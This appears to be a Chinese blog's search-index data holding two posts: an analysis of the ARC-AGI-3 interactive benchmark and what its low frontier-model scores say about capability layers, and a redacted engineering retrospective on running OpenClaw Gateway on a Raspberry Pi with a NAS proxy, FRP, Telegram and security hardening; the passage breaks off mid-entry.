Search

Search archive

正在准备可检索档案…

/ Focus Enter Open First

可直接输入主题词，也可先用年份和标签缩小范围。

Suggested Tags:

Synonyms:

搜索索引加载中…

[{"date":"2026-03-27","dateISO":"2026-03-27","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E4%BB%8E-arc-agi-3-%E7%9C%8B%E5%A4%A7%E6%A8%A1%E5%9E%8B%E7%9A%84%E8%83%BD%E5%8A%9B%E6%96%AD%E5%B1%82%E7%9F%A5%E8%AF%86%E6%99%BA%E8%83%BD%E4%BA%A4%E4%BA%92%E6%99%BA%E8%83%BD%E4%B8%8E%E6%8A%80%E8%83%BD%E8%8E%B7%E5%8F%96%E6%95%88%E7%8E%87/","plain":"ARC-AGI-3 的发布，使关于“大模型是否正在逼近 AGI”的讨论进入了一个新的阶段。与 ARC-AGI-1/2 主要测试静态抽象推理不同，ARC-AGI-3 转向交互式环境，要求系统在无自然语言说明、无外部知识依赖的条件下，通过行动与反馈循环主动探索未知环境，形成世界模型、推断目标并规划行动。官方技术报告显示，在 2026 年 3 月发布时，人类可解 100% 的测试环境，而前沿模型在官方榜单上的得分均低于 1%，其中 Gemini 3.1 Pro Preview 为 0.37%，GPT 5.4 (High) 为 0.26%，Opus 4.6 (Max) 为 0.25%。\n这并不自动意味着“AI 被打回原形”，但它确实精确地暴露了当前大模型体系的一个深层结构性短板：其在知识调用、语言压缩和离线任务求解方面已经高度成熟，但在陌生环境中的高效技能获取、在线假设修正与交互式策略形成方面，仍与人类存在显著差距。ARC-AGI-3 的真正意义，不在于给出一纸关于 AGI 的最终判决，而在于迫使研究者区分三种常被混淆的能力层级：知识智能、任务智能与环境智能，并重新审视“智能”究竟应被理解为已有技能的表现，还是新技能的获取效率。\n为什么 ARC-AGI-3 值得被认真对待 围绕 ARC-AGI-3 的第一波舆论反应，大多呈现两种极端。一种将其渲染为“AI 一夜之间现出原形”的证据，仿佛此前几年大模型在代码、数学、知识组织与复杂工作流上的进展都因一个 benchmark 的低分而被一笔抹消；另一种则轻描淡写地把它视为又一个“刻意刁钻”的测试，认为其不过是一个小众研究者社区制造的新门槛。两种看法都不准确。\nARC-AGI-3 之所以重要，不是因为它证明了 AI 无能，也不是因为它可以单独定义 AGI；它的重要性在于，它将一个长期被大模型成功叙事所掩盖的问题清晰地制度化了：当系统脱离自然语言说明、脱离先验知识覆盖、脱离已经格式化好的输入输出接口之后，是否仍然能够在陌生环境中高效地“学会如何行动”。官方对 ARC-AGI-3 的定义非常明确：它是“首个交互式推理 benchmark”，目标是测量 agent 在新环境中的探索、目标获取、可适应世界模型构建与持续学习能力；100% 分数的含义不是“能解题”，而是“能够像人一样高效地解决全部游戏”。\n这一点标志着评测焦点的转向。过去几年，主流 benchmark 主要测的是“在给定问题表述之下，你能否生成高质量答案”；而 ARC-AGI-3 更接近在问：“当问题本身没有被明确表述时，你能否通过与世界互动，把问题从环境中主动提取出来？”二者差异巨大。前者主要依赖知识压缩、模式迁移与符号生成；后者则要求探索、建模、目标推断、行动选择、失败回滚、记忆压缩等一系列能力形成耦合闭环。ARC Prize 基金会在技术报告中将其直接表述为对“agentic intelligence”的评估，并强调该 benchmark 聚焦的是 novel tasks 上的 fluid adaptive efficiency，而非语言或外部知识。\n因此，ARC-AGI-3 的价值不在于制造戏剧性落差，而在于把智能测量从“回答正确”推进到了“如何学会回答”。这与 Chollet 在《On the Measure of Intelligence》中提出的核心主张完全一致：智能不应被理解为某个既定任务上的技能水平，而应被理解为在有限先验与有限经验下获取新技能的效率。ARC-AGI-1 是这套思想在静态抽象任务上的第一次工程化落地；ARC-AGI-3 则是它在交互环境中的进一步扩展。\n从静态推理到交互式技能获取 任务形态的变化：从“给定题目”到“进入世界” ARC-AGI-1/2 的核心形式，是从少量输入与输出示例中归纳变换规则，再将规则应用于新样本。这类任务已经超出简单模式匹配，但本质上仍是静态的：世界不随行动而变化，任务边界与目标条件已经被题面隐式固定。ARC-AGI-3 则将测试对象从“静态任务求解器”转变为“交互式环境中的行动者”。技术报告指出，其环境是 novel、abstract、turn-based 的，agent 必须在没有明确说明的条件下，探索环境、推断目标、建立内部环境动力学模型，并规划有效行动序列。\n这个变化看似只是 benchmark 形式更新，实则触及智能研究中的一个关键分界：静态推理与交互式认知不是同一种能力。一个系统即使拥有极强的离线推理能力，也未必能在新环境中做出高质量主动试探；即使能解释自己“认为世界可能如何运作”，也未必能通过最少动作高效证伪自己的错误假设。换言之，ARC-AGI-3 测的不是“能否算对”，而是“能否以接近人类的样本效率形成可行动的理解”。\n四个核心能力维度：探索、建模、目标获取、规划执行 ARC Prize 2026 竞赛页明确将 ARC-AGI-3 所测试的能力拆成四项：探索、建模、目标获取与规划。探索要求信息不是被动给出，而是通过与环境互动主动获得；建模要求将观察转化为可泛化的世界模型，并预测未来状态与结果；目标获取要求在未被告知明确目标的情况下，推断出“应当达成什么”；规划则要求在稀疏反馈与多步决策条件下形成行动路径。\n这个四分法很重要，因为它揭示了 ARC-AGI-3 不是一个“更难的小游戏集合”，而是一个能力组合的压力测试。传统大模型往往在给定目标函数的条件下表现优秀：用户问什么，模型就围绕该目标进行生成或求解；工具接口给得足够清晰，模型也能在有限步骤内完成操作。但 ARC-AGI-3 刻意删除了这种“任务外部化”的便利条件。目标不再由题面给出，环境规律不再由说明文档定义，系统必须自己完成“任务建模”的前半程。这实际上是在测试 agent 是否具备自足的认知起点。\n设计原则：为什么要压制语言和外部知识 ARC-AGI-3 官方页面与技术报告都强调，该 benchmark 避免语言与外部知识，环境只依赖所谓 Core Knowledge priors，包括 objectness、基础几何拓扑与基础物理直觉等，以尽量使测试聚焦于“先天可迁移推理”而非“后天知识覆盖”。报告还指出，环境构造中有意避免与现有游戏过于相似，以降低预训练污染和记忆性捷径。\n这一设计有明显的方法论意图：如果一个 benchmark 允许系统通过互联网知识、自然语言说明或训练集记忆直接调用现成策略，那么它测到的往往是知识检索能力而非新技能获取能力。ARC-AGI-3 刻意制造“first contact”情境，就是为了把“以前见过”与“现在学会”区分开来。也正因此，它天然对依赖语言压缩与先验分布拟合的大模型架构更不友好。\n评分机制的哲学与陷阱 ARC-AGI-3 最值得分析的部分，不只是它让前沿模型低分，而是它如何让“低效”被高度惩罚。技术报告把核心标量定义为 action efficiency，并在评分中使用 RHAE（Relative Human Action Efficiency）。其基本逻辑是：每一关按 AI 相对于人类基线的动作效率计分；人类基线取第二优人类参与者的动作数；若人类 10 步完成、AI 100 步完成，则该关得分为 (10/100)^2 = 1%。报告明确说明，平方惩罚是故意引入的，因为 benchmark 希望抑制 brute force，奖励真正高信息增益的探索。\n这意味着两个重要结论。\n第一，ARC-AGI-3 的低分不等价于“不会”，而更接近于“会得极不经济”。如果一个系统能通过大量试探最终得到正确路径，在许多传统 benchmark 中它仍可能被记作“解出”；但在 ARC-AGI-3 中，动作冗余会被急剧折损成接近零的分数。也就是说，这不是一个“正确率为中心”的 benchmark，而是一个“技能获取效率为中心”的 benchmark。\n第二，ARC-AGI-3 的分数天然具有强烈的解释学门槛。一个不了解其评分机制的读者看到 0.25%，很容易误以为系统“几乎完全没有能力”；但就 benchmark 设计而言，它真正表达的是：在要求接近人类动作效率这一严格条件下，现有系统远未形成稳定的高效探索策略。官方页面甚至直接说，ARC-AGI-3 让“AI 与人类学习之间的差距变得可测量”，因为它测试的是 across time 的 intelligence，而不只是最终答案，涉及 planning horizons、memory compression 和 belief update。\n因此，对 0.25% 的正确解读应当是：当前前沿模型在“陌生环境中的第一类接触式学习”上极不高效，而不是“整体能力只剩 0.25%”。它把系统的弱点聚焦在样本效率、行动价值估计与假设修正，而非简单的终局可达性。\n前沿模型为何集体低于 1% 官方技术报告给出的发布时官方榜单是：Gemini 3.1 Pro Preview 0.37%，GPT 5.4 (High) 0.26%，Opus 4.6 (Max) 0.25%，Grok-4.20 0.00%。同时，报告强调 humans can solve 100% of the environments，而 benchmark 经 extensive human testing 校准，只保留“easy for humans”的环境。每个环境由 10 名公众参与者测试，只有至少两名参与者可以独立完整解出的环境才会被纳入集合。\n这一结果至少说明三件事。\n问题不在于“知识不足”，而在于“互动闭环不成立” 大模型在百科知识、代码模式、数学模板、文档归纳与工具指令理解上的表现已经反复证明，其参数内部包含极高密度的知识压缩结构。如果 ARC-AGI-3 的难点主要是知识覆盖，那么更大的模型、更多的预训练样本和更强的检索增强本应带来相对稳定的收益；但官方结果显示，当前前沿模型在这一测试上几乎集体失速。更合理的解释是：它们所擅长的是基于已有分布的知识调用与文本内推理，而不是在新环境中通过交互建立行动模型。\n参数规模与预训练丰富度，并不会自动转化为高质量探索 ARC-AGI-3 的重要发现之一，是熟悉大规模语言建模的人通常默认的技术直觉——“更强的通用模型会自然外溢出更强的 agent 行为”——至少在这里没有得到支持。相反，报告中的 developer preview 结果显示，排名靠前的方案并非传统大模型路线。2025 年 7 至 8 月的预览赛中，第一名 StochasticGoose 得分 12.58%，采用的是 CNN 加强化学习来预测动作后果；报告同时提到若干 harness 方法，诸如让模型以 Python 方式访问和转换交互历史、或使用 orchestrator–subagent 结构压缩上下文，它们能在公开环境上达到接近人类的动作效率。官方甚至明确提醒：community leaderboard 上由领域特化 harness 取得的成绩，不应直接解释为 AGI 进展，尽管其具有现实的经济价值。\n这恰恰提示出一个关键事实：在交互式环境中，“模型能力”与“系统能力”高度耦合。一个纯粹依赖单轮文本推理的基础模型，未必能形成高质量的探索策略；而加入外部记忆、状态提取、行动价值估计、子任务分解与历史压缩之后，整体系统行为可能显著改善。\n元认知式修正：大模型最弱的一环 ARC-AGI-3 官方结论中特别指出，人类与 AI 的差距不仅反映在 reasoning capability，也反映在 exploration strategies、hypothesis revision 以及 uncertainty 下的 efficient planning 上。这个表述值得重视，因为它意味着问题未必在于模型不会“想”，而可能在于模型不会“知道自己当前想错了”。\n人类在陌生环境中的优势，往往不是一开始就有完整模型，而是在非常少的试探后便能迅速判断哪些假设不值得继续投入动作预算。大模型则常常相反：一旦基于初始观察生成一个看似合理的叙述框架，就倾向于沿着这个框架惯性推进，而缺乏足够低成本、低延迟的证伪与回退机制。这是语言建模系统的典型结构性问题：它们更擅长生成连贯解释，而不是最优地分配探索动作。\n从 ARC-AGI-3 提炼能力分层 为了避免把 ARC-AGI-3 误读为“AI 整体崩塌”，有必要建立一个更清晰的能力分析框架。本文建议至少区分三层能力：知识智能、任务智能与环境智能。\n知识智能：大模型最成熟的一层 所谓知识智能，是指系统对语言、代码、事实知识、符号结构与模式模板的压缩、调用与重组能力。它对应的是“大模型为什么能在问答、摘要、翻译、代码生成、考试式推理中表现出色”。这类能力的强项在于：任务边界清晰、目标函数显式、训练分布与使用分布之间存在可观重叠，系统可以依赖已有内部表征完成高质量映射。\n当前前沿大模型无疑已经在这一层达到了前所未有的高度。若仅从知识智能看，“模型已经很强”不是宣传口径，而是经验事实。ARC-AGI-3 并不推翻这一点，因为它几乎故意剥离了这层能力最擅长发挥作用的条件。\n任务智能：企业级 agent 快速逼近的一层 任务智能位于知识智能之上，是指在给定目标、接口和反馈结构的条件下，系统跨多步完成工作流的能力。许多现实中的 AI agent 实际处于这一层：它们未必真正理解陌生世界，但只要有明确任务说明、可调用工具、有限环境状态和适当的人类约束，就能稳定完成搜索、整理、写作、编程、分析与自动化操作。\n从产业角度看，任务智能已经在快速商业化。它并不要求系统具备“像人一样进入陌生世界并自我构建目标”的能力；它要求的是，在目标函数由人类外部提供的前提下，高效调度知识、工具和流程。因此，ARC-AGI-3 的低分并不直接削弱任务智能的现实价值。\n环境智能：ARC-AGI-3 主要瞄准的一层 环境智能则是更困难的一层。它要求系统在目标不透明、规则未知、反馈稀疏的情况下，通过探索与建模形成对环境的可行动理解，并能够在不确定条件下以高样本效率更新策略。ARC-AGI-3 测试的正是这一层。\n三层能力并非彼此孤立，但不能简单互推。知识智能强，不等于环境智能强；任务智能强，也不等于一旦移除说明文档与目标定义，系统仍可独立适应陌生环境。ARC-AGI-3 的低分，真正揭示的是：当前大模型已经在知识智能上高度成熟，在任务智能上快速逼近可规模化应用，但在环境智能上仍处于早期阶段。\n这一定义上的澄清极其关键，因为它直接改变我们对“AGI 进展”的表述方式。若把 AGI 粗暴理解为“几乎所有对人有价值任务上的可替代性”，那么今天的大模型已经在部分领域逼近强实用状态；若把 AGI 理解为“像人一样在陌生环境中高效获取新技能”，那么 ARC-AGI-3 表明我们离这一目标仍然相当遥远。两种说法并不互斥，只是指向不同的智能层级。\nARC-AGI-3 暴露的大模型结构性短板 探索策略低效 ARC-AGI-3 的首要要求不是推理深度，而是探索质量。由于评分以动作效率为核心，任何低信息增益动作都会对成绩造成指数级伤害。当前模型的问题往往不是毫无行动能力，而是无法在前几步迅速识别“哪种动作最能缩小假设空间”。这与人类有明显差异。人类在陌生环境中的试探通常不是均匀随机的，而是带有强烈的“诊断性”倾向：先做最能验证关键假设的动作，再根据反馈快速调整。模型则更容易出现连续多步试探都不改变核心不确定性的情形。\n世界模型不稳定 许多语言模型在文本空间中展现出的“理解力”，很大程度来自对海量符号关联的压缩与重构。然而交互式环境要求的不只是解释能力，而是可执行的预测能力：如果采取动作 A，环境状态将如何转移；若假设 H 成立，则应在下一帧看到什么；若没有看到，则 H 应如何被修订。没有稳定的状态转移表征，计划就是空中楼阁。\nARC-AGI-3 之所以对传统 LLM 路线构成压力，原因正在于它把“可行动的理解”与“语言上的似懂非懂”区分开来。一个系统能写出一段漂亮的解释文字，并不意味着它真的持有精确且可更新的世界模型。\n记忆与上下文管理不足 技术报告专门指出，context management 是 ARC-AGI-3 的中心难题之一。环境帧为 64×64 网格，若简单滚动保留完整历史，很快就会耗尽上下文预算。报告提到，Duke 相关合作通过允许模型执行 Python 来选择性检索与转换历史信息；另一些方法则通过 orchestrator–subagent 架构让子代理输出压缩摘要，以抑制上下文膨胀。\n这说明一个重要事实：交互智能不是把 CoT 拉长即可得到的。长程认知需要专门的状态表示、事件抽象、记忆索引与策略相关信息提取机制。纯文本上下文堆叠本质上是一种脆弱的外显记忆，不适合承担复杂环境中的历史管理任务。\n缺乏显式的元认知回路 人类在 ARC 类任务上的优势，不只是能形成假设，更重要的是能快速发现假设失效，并愿意低成本放弃错误思路。当前大模型虽然可以在提示中被要求“反思”或“自我纠错”，但这类机制大多是事后生成层面的，并非系统级的在线控制回路。换言之，它们可以被要求说“我可能错了”，却未必真正拥有一套高效的、动作级别的假设管理机制。\nARC-AGI-3 实际上要求一种更接近主动科学发现的行为：提出候选模型、设计诊断性试验、依据反馈更新置信度、快速终止低价值路径。当前大模型与其说缺少“答案”，不如说缺少“何时停止当前答案”的机制。\nARC-AGI-3 的边界 要严肃对待 ARC-AGI-3，也必须严肃指出它的边界。\n首先，它主要测量的是 fluid adaptive efficiency，而不是广义经济价值。一个系统即使在 ARC-AGI-3 上表现很差，仍可能在代码生产、文档分析、研究辅助、企业自动化、数据处理和内容生成上带来巨大生产力提升。ARC Prize 官方自己也把 benchmark 描述为对“human-like intelligence”的测量，而非对所有实用能力的总和评估。\n其次，它采用的是一种特定的 AGI 哲学：把智能定义为新技能获取效率。这个立场有很强的理论一致性，也有工程上的吸引力，但它不是唯一的 AGI 定义。经济学导向的 AGI 讨论往往更关心系统是否能够在大范围有价值任务上替代人类劳动；而 ARC-AGI-3 更关心系统是否具备像人一样的 first-contact learning。两者相关，但不等价。\n再次，benchmark 设计本身也在塑造“什么被算作智能”。例如官方对 community leaderboard 的态度非常明确：harness 创新在现实中有价值，但不应轻率视为 AGI 进展。这一判断包含了某种“纯度偏好”——即更重视系统内生能力，而非外部脚手架增强。是否接受这种偏好，本身就是方法论问题。\n因此，ARC-AGI-3 的正确位置应是：它不是 AGI 的终审判决书，而是一次高强度、方向正确的方法论压力测试。它测试的是一种极其重要、且过去被大量静态 benchmark 淹没的智能切面。\n从 ARC-AGI-3 反推技术路线 如果把 ARC-AGI-3 只读成“模型现在还不行”，那它的价值会被浪费。更重要的问题是：它指向了哪些具体的研究方向。\n世界模型将重新成为中心议题 过去几年，大模型的成功使“统一 token 预测”一度看起来足以吞并多种智能功能。但 ARC-AGI-3 表明，光有语言空间中的压缩与续写，不足以支撑陌生环境中的高质量行动。系统需要显式或半显式的世界模型，能够表示对象、关系、动力学、可达性与隐藏机制，并在反馈中快速修正。这不必意味着回到老式符号 AI，但必然要求比“把一切写进上下文”更强的环境表征。\n信息增益驱动的探索，而非盲目试错 高质量 agent 不只是会选“看起来可能正确”的动作，而是会优先选择“最能区分多个竞争假设”的动作。探索本身应成为优化对象。下一阶段的重要方向，不是让模型生成更长的推理链，而是让系统拥有更强的 action-value-of-information 估计能力。\n记忆系统不能再附属于上下文窗口 ARC-AGI-3 已经清楚显示，长程交互需要结构化记忆而非线性记忆。未来 agent 架构中，事件压缩、状态摘要、因果回放、检索式历史访问、层级化工作记忆与情景记忆分离，很可能都会重新成为核心部件。上下文窗口再大，也不等于记忆系统成立。\n规划与反思必须成为闭环，而非提示词装饰 当前许多“反思”“复盘”“自校验”做法，本质上仍是语言后处理层。ARC-AGI-3 提示我们，真正需要的是在线控制意义上的回路：策略提出、关键假设显式化、诊断动作插入、证伪触发、回滚重规划。这类结构比单次更强推理更接近交互智能的核心。\n基础模型与外部系统的边界将被重新划分 ARC Prize 技术报告对 harness 的讨论实际上给出了一条很现实的路线图：许多今天看似“外挂”的机制，未来会逐步吸收到模型 API 背后，进而演化为第一方能力。这一过程过去已经发生过，例如链式思维从外部 prompting 技巧逐渐演变为模型产品能力。交互智能也大概率如此。短期内最有效的系统可能不是“单体超级模型”，而是“基础模型 + 外部记忆 + 搜索规划 + 状态抽象 + 在线适应”的复合体；中长期则可能出现这些模块的重新内生化。\n结论 ARC-AGI-3 的真正冲击，不在于它让前沿模型官方得分低于 1%，而在于它迫使我们停止用一种混合而模糊的语言谈论“智能”。过去两年，围绕大模型的公共叙事中，知识智能、任务智能和环境智能被频繁混为一谈：模型能写代码，于是被推断为接近通用智能；模型能调用工具，于是被推断为已经具备自主学习能力；模型能在某些考试或基准上超过人类，于是被推断为 AGI 只差最后一步。ARC-AGI-3 把这种线性外推打断了。\n它告诉我们的不是“大模型不行了”，而是：大模型已经在知识智能上形成优势，在任务智能上形成广泛实用性，但这两者并不会自动过渡到环境智能。陌生世界中的高效技能获取，仍然是一个尚未解决的问题。Chollet 在 2019 年提出“智能是技能获取效率”时，更多还是理论性主张；ARC-AGI-3 则将这一主张推进到了更苛刻也更具解释力的交互式评估框架中。\n因此，ARC-AGI-3 最终改写的不是排行榜，而是研究议程。今后真正有价值的问题将不再只是“模型知道多少”“模型会不会答”，而是“模型能否在未知环境中以接近人类的成本学会行动”。若这个问题不被解决，那么所谓 AGI 仍更像是高密度知识压缩系统的扩展，而非真正意义上的通用适应性智能。反过来，一旦这个问题开始被系统性攻克，今天许多看似外挂的记忆、规划、状态抽象与探索控制机制，很可能会成为下一代 AI 体系结构的基础构件。\nARC-AGI-3 的价值，正是在这里：它不是一场夸张叙事所需要的“末日证据”，而是一面相对干净的镜子。镜子里照出的，不是 AI 是否彻底失败，而是我们距离“会回答的系统”与“会进入世界并学会的系统”之间，究竟还隔着什么。\n参考资料 ARC Prize Foundation. ARC-AGI-3: A New Challenge for Frontier Agentic Intelligence（2026-03-24）。 ARC Prize Foundation. ARC-AGI-3 Official Page。 ARC Prize Foundation. ARC Prize 2026 ARC-AGI-3 Competition。 François Chollet. On the Measure of Intelligence（2019）。 ","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E4%BB%8E-arc-agi-3-%E7%9C%8B%E5%A4%A7%E6%A8%A1%E5%9E%8B%E7%9A%84%E8%83%BD%E5%8A%9B%E6%96%AD%E5%B1%82%E7%9F%A5%E8%AF%86%E6%99%BA%E8%83%BD%E4%BA%A4%E4%BA%92%E6%99%BA%E8%83%BD%E4%B8%8E%E6%8A%80%E8%83%BD%E8%8E%B7%E5%8F%96%E6%95%88%E7%8E%87/","summary":"从 ARC-AGI-3 的设计目标、评分机制与官方榜单出发，系统分析大模型在知识智能、任务智能与环境智能上的能力分层，并讨论交互式技能获取为何仍是当前体系结构的关键断层。","tags":["AI安全","大模型","AGI","方法解析","阅读思考"],"title":"从 ARC-AGI-3 看大模型的能力断层：知识智能、交互智能与技能获取效率","unix":1774573200,"year":"2026"},{"date":"2026-02-23","dateISO":"2026-02-23","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/openclaw-raspberrypi-deployment/","plain":" 这篇文章不是“安装教程”，而是一份完整工程复盘。\n我会把问题、误判、修复路径、回滚策略和运营边界全部写清楚。\n目标是让读者不仅能复现，还能在真实环境里稳定运营。\n1. 写在前面：为什么要做这次部署 我最初要解决的问题并不复杂：让 OpenClaw 在树莓派上跑起来，并接入 Telegram 日常使用。 但当部署进入第二阶段，很快发现“跑起来”只是最低门槛。\n真实场景里还有四个更难的问题：\n系统一旦重启，服务会不会自恢复； 外部网络波动时，机器人是不是立刻“假在线”； 暴露到公网后，控制面是否满足安全上下文和最小暴露原则； 后续扩展 skills 时，如何控制供应链风险，不让系统慢慢偏离初始可信状态。 所以这次部署从一开始就不是“功能导向”，而是“生命周期导向”：\n可用性：能启动、能收发、能管理； 稳定性：断线可恢复、重启可恢复、升级可恢复； 安全性：最小暴露、可审计、可追溯； 可运维性：问题可观测、根因可定位、修复可复盘。 这四点缺任何一点，系统都会在后期把复杂度还回来，而且通常是“带着利息还”。\n2. 环境与边界：先定义问题，再部署系统 2.1 角色分工 部署中涉及三台主机，职责是明确切开的：\n树莓派（内网）：OpenClaw Gateway 主服务节点； NAS（内网）：V2rayA 代理节点，负责统一出站； 云服务器（公网）：FRPS 入口，负责远程访问链路。 这个职责划分非常重要。很多家庭实验环境把“服务、代理、入口”全堆在一台机器上，短期方便，长期不可维护。\n2.2 脱敏约定 为避免文章本身变成攻击入口，以下信息全部替换：\n密码、Token、OAuth code/state、配对码：统一 REDACTED； 内网地址：统一写成 192.168.31.x 或 NAS_IP、PI_IP； 公网地址：统一写成 PUBLIC_SERVER_IP； 用户名和目录里的个人信息：统一 USER。 2.3 成功标准 这次部署的“完成”，不是主观感觉，而是可验证条件：\nopenclaw-gateway.service 持续 active； openclaw gateway probe 返回可达； Telegram 通道 Enabled=ON, State=OK； 安全审计 critical=0, warn=0； 技能来源可追溯（commit + sha256）； 定时巡检启用并落地日志。 3. 架构设计：为什么是“树莓派 + NAS 代理 + FRP” 3.1 最终拓扑 逻辑路径如下：\n用户本地（Mac）管理 OpenClaw（内网或隧道方式）； 树莓派运行 OpenClaw Gateway； Gateway 的外部请求通过 NAS 的 V2rayA 出站； 若需外网访问，通过 FRP 将公网入口映射到树莓派本地端口。 3.2 核心设计取舍 取舍 1：代理不上树莓派本机，而上 NAS\n优点：代理集中管理、策略统一、便于切换节点；\n代价：增加一跳网络，链路诊断更复杂。\n取舍 2：Gateway 默认 loopback 绑定\n优点：安全默认值高，避免无意暴露管理面；\n代价：外网访问必须通过隧道/反代，配置多一步。\n取舍 3：FRP 只做传输，不直接解决浏览器安全上下文\n优点：边界清晰，职责单一；\n代价：仍需 HTTPS 反向代理才能解决控制台 secure context 约束。\n我更倾向这种“多一步但可解释”的方案，而不是“看起来少一步但隐患不可见”的方案。\n4. 实施过程全记录（按时间线） 4.1 阶段 A：系统基线与补丁 先完成系统更新，排除老版本依赖引发的非业务问题：\nsudo apt update sudo apt full-upgrade -y sudo apt autoremove --purge -y sudo reboot 重启后确认事实状态：\nhostname uname -a arch date 这一步的价值在于“建立初始快照”，后续出现异常时可以排除“系统状态未知”。\n4.2 阶段 B：OpenClaw 服务化部署 核心原则：永远不要把长期服务交给临时 shell 会话。\n操作命令：\nsystemctl --user daemon-reload systemctl --user enable --now openclaw-gateway.service systemctl --user status openclaw-gateway.service 示例服务定义（脱敏）：\n[Unit] Description=OpenClaw Gateway After=network-online.target Wants=network-online.target [Service] ExecStart=/usr/bin/node /home/USER/openclaw/package/dist/index.js gateway --port 18789 Restart=always RestartSec=5 Environment=OPENCLAW_GATEWAY_PORT=18789 Environment=OPENCLAW_GATEWAY_TOKEN=REDACTED [Install] WantedBy=default.target 基础验证：\nopenclaw gateway probe 预期：本地 loopback 可连、RPC 可用。\n4.3 阶段 C：Codex 绑定与控制台认证 这里出现了经典错误：\ndisconnected (1008): unauthorized: gateway token missing 判断逻辑：\n如果是网络断开，通常是超时或连接失败； 1008 unauthorized 明确指向鉴权层。 修复顺序：\n核对 Gateway token 的来源一致性（服务环境 / 配置文件 / 控制台设置）； 确认控制台确实提交 token； 观察重连日志确认 WS 握手成功。 这一步最容易“误把认证问题当网络问题”，导致浪费大量排障时间。\n4.4 阶段 D：接入 NAS 代理并持久化 这一步是整个可用性的关键。\n很多人会直接在 shell 里 export HTTP_PROXY=...，然后测试成功，认为完成。\n这在服务重启后会全部失效。\n正确做法是写入 systemd drop-in：\n~/.config/systemd/user/openclaw-gateway.service.d/10-proxy.conf\n[Service] Environment=HTTP_PROXY=http://NAS_IP:HTTP_PROXY_PORT Environment=HTTPS_PROXY=http://NAS_IP:HTTP_PROXY_PORT Environment=ALL_PROXY=socks5://NAS_IP:SOCKS5_PORT Environment=NO_PROXY=localhost,127.0.0.1,::1 生效：\nsystemctl --user daemon-reload systemctl --user restart openclaw-gateway.service 验证：\nsystemctl --user cat openclaw-gateway.service openclaw status 验证重点是“进程环境”而不是“文件内容”。\n4.5 阶段 E：Telegram 通道接入 接入目标不是“Bot 在线”而是“可控在线”。\n推荐配置（脱敏）：\n{ \"session\": { \"dmScope\": \"per-channel-peer\" }, \"channels\": { \"telegram\": { \"enabled\": true, \"dmPolicy\": \"pairing\", \"botToken\": \"REDACTED\", \"allowFrom\": [\"TELEGRAM_USER_ID\"], \"groupPolicy\": \"allowlist\", \"timeoutSeconds\": 30, \"retry\": { \"attempts\": 2 }, \"network\": { \"autoSelectFamily\": false }, \"proxy\": \"http://NAS_IP:HTTP_PROXY_PORT\" } } } 配对流程：\n用户 /start 触发 pairing； Bot 返回 pairing code； owner 在 OpenClaw 侧 approve； 再做主动发送回环测试。 回归命令：\nopenclaw status openclaw message send --channel telegram --target TELEGRAM_USER_ID --message \"health check\" 4.6 阶段 F：FRP 外网访问与控制台安全上下文 当我用公网 HTTP 访问控制台时，报错：\ncontrol ui requires device identity (use HTTPS or localhost secure context) 这不是 bug，而是浏览器安全策略。\n结论非常清晰：\nhttp://PUBLIC_SERVER_IP:PORT 不满足 secure context； 要么走 localhost（SSH 隧道）； 要么走 https://（反向代理 + 证书）。 FRP 只负责端口映射，不负责浏览器安全上下文。\nFRP 示例（脱敏）：\nfrpc.toml\nserverAddr = \"PUBLIC_SERVER_IP\" serverPort = 7000 auth.method = \"token\" auth.token = \"REDACTED\" [[proxies]] name = \"rpi-openclaw\" type = \"tcp\" localIP = \"127.0.0.1\" localPort = 18789 remotePort = 35879 frps.toml\nbindPort = 7000 auth.method = \"token\" auth.token = \"REDACTED\" 我最后采用的是：\n日常管理优先 SSH 隧道； 外网长期访问通过 HTTPS 反代接入。 5. 关键故障复盘：真正花时间的不是安装，而是判断 5.1 故障一：Telegram 看似在线但无响应 表象 Bot 可见； 用户发消息后不回、或延迟极高。 常见根因 代理链路波动导致 Telegram API 超时； pairing 尚未批准； allowFrom 不匹配； 网关在线但通道线程卡在拉取重试。 标准排查顺序 systemctl --user status openclaw-gateway.service openclaw status openclaw logs --follow openclaw message send --channel telegram --target TELEGRAM_USER_ID --message \"loopback test\" 这套顺序的核心是：先确认进程，再确认通道，再确认链路，不要反过来。\n5.2 故障二：控制台断开 1008 这是最典型的“误判案例”。\n很多时候第一反应是“代理不稳”； 但 1008 实际是认证问题，优先核对 token。 排查逻辑一旦反了，通常会花 30 分钟以上在错误方向。\n5.3 故障三：公网可打开但不可操作 浏览器报 secure context 时，不要调 OpenClaw。 应当直接切到访问层处理：\n使用 localhost 隧道； 或配置 HTTPS。 这是“平台约束”，不是“应用错误”。\n6. 安全加固：把风险从“偶发问题”降到“可控变量” 6.1 告警项一：未信任反向代理头 如果网关前面存在反向代理或转发器，必须显式定义可信代理源。\n修复示例：\n{ \"gateway\": { \"trustedProxies\": [\"127.0.0.1\", \"::1\", \"PUBLIC_SERVER_IP\"] } } 6.2 告警项二：denyCommands 未生效 原因是命令名不精确。 必须与实际命名空间一一匹配：\n{ \"gateway\": { \"nodes\": { \"denyCommands\": [ \"canvas.present\", \"canvas.hide\", \"canvas.navigate\", \"canvas.eval\", \"canvas.snapshot\", \"canvas.a2ui.push\", \"canvas.a2ui.pushJSONL\" ] } } } 6.3 审计闭环 修复后必须执行审计：\nopenclaw security audit --json 验收标准：\ncritical=0 warn=0 不满足就继续修复，不要“带病上线”。\n7. 供应链治理：高 Star 只是起点，不是终点 你最初提出“要选 Star 多的项目，担心供应链风险”，这个判断非常专业。\n但工程实践里，Star 只能解决“发现效率”，不能解决“可信交付”。\n7.1 我采用的四层防线 来源防线：优先官方或高信誉组织； 版本防线：固定 commit，不追主干漂移； 内容防线：安装前静态扫描； 运行防线：安装后哈希登记 + 定时校验。 7.2 白名单技能策略 实际策略是“少而精”，不是“多而全”。\n仅安装当前业务所需 skills； 非必要 skill 不进入默认加载路径； bundled skills 只保留最小集合，其余 blocked。 7.3 追溯文件 ~/.openclaw/skills/.trusted-source-manifest.json\n示例：\n{ \"policy\": \"high-star-source-only + pinned-commit + manual-scan\", \"source_repo\": \"https://github.com/openclaw/skills\", \"source_commit\": \"REDACTED_COMMIT\", \"installed_skills\": [ { \"name\": \"executing-plans\", \"sha256\": \"...\" }, { \"name\": \"receiving-code-review\", \"sha256\": \"...\" }, { \"name\": \"debug-pro\", \"sha256\": \"...\" }, { \"name\": \"test-runner\", \"sha256\": 